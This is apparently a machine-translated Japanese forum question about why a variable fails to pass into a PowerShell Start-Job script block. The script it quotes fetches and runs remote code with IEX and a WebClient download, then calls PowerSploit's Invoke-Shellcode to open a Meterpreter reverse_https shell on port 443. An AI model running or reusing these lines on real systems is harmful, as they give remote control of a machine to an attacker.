2
$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

これから変更。編集:わかりやすくするために不要なコードを削除しました。

MyCommandlet使用される前にチェックされる変数 (ここ-Lhost $tempでは ) が必要です (null または空であってはなりません)。

上記のスクリプトを実行しようとすると、次のエラー メッセージが表示されます。

Invoke-Shellcode : パラメーター 'Lhost' の引数を検証できません。引数が null または空です。null または空でない引数を指定して、コマンドを再試行してください。


編集Invoke-Shellcode私が参照している元のコマンドレットですMyCommandlet。セキュリティ上の理由から、完全なコードを含めたくありませんでした (スクリプトを自分で実行する場合に備えて)。詳細については、こちらのコードを参照して ください https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

元の ScriptBlock は次のようになります ($temp 変数を参照)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

MyCommandlet基本的に、変数は適切に渡されませんがWrite-Host $temp、同じコンテキストで null 以外の値 (これは正しい) を返します。特に新しいジョブで実行される場合、変数が他の ScriptBlock に渡されないことは理解していますがWrite-Host、ジョブ内で値を適切に読み取ることができるため、他に見逃しているものがあります。

いくつかの投稿で示唆されているように、次の代替案を試しました。

  • ...} -ArgumentList $temp(ScriptBlock の後) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...}(ScriptBlock の先頭)
  • Start-Job -ScriptBlock {...}ScriptBlock の変数の代わりに直接 使用します。[scriptblock]::Create(...)ScriptBlock を宣言する
  • を使用Invoke-Commandする代わりに、Start-Jobそれが機能しないだけでなく(動作が少し異なりますが)、Start-Job可能であればそのまま使用したいと思います。
  • Powershell V3.0$using:variableの機能は使用したくありません。さらに、試した構成では機能しませんでした。

それらのどれも私のために働いていませんでした。

4

1 に答える 1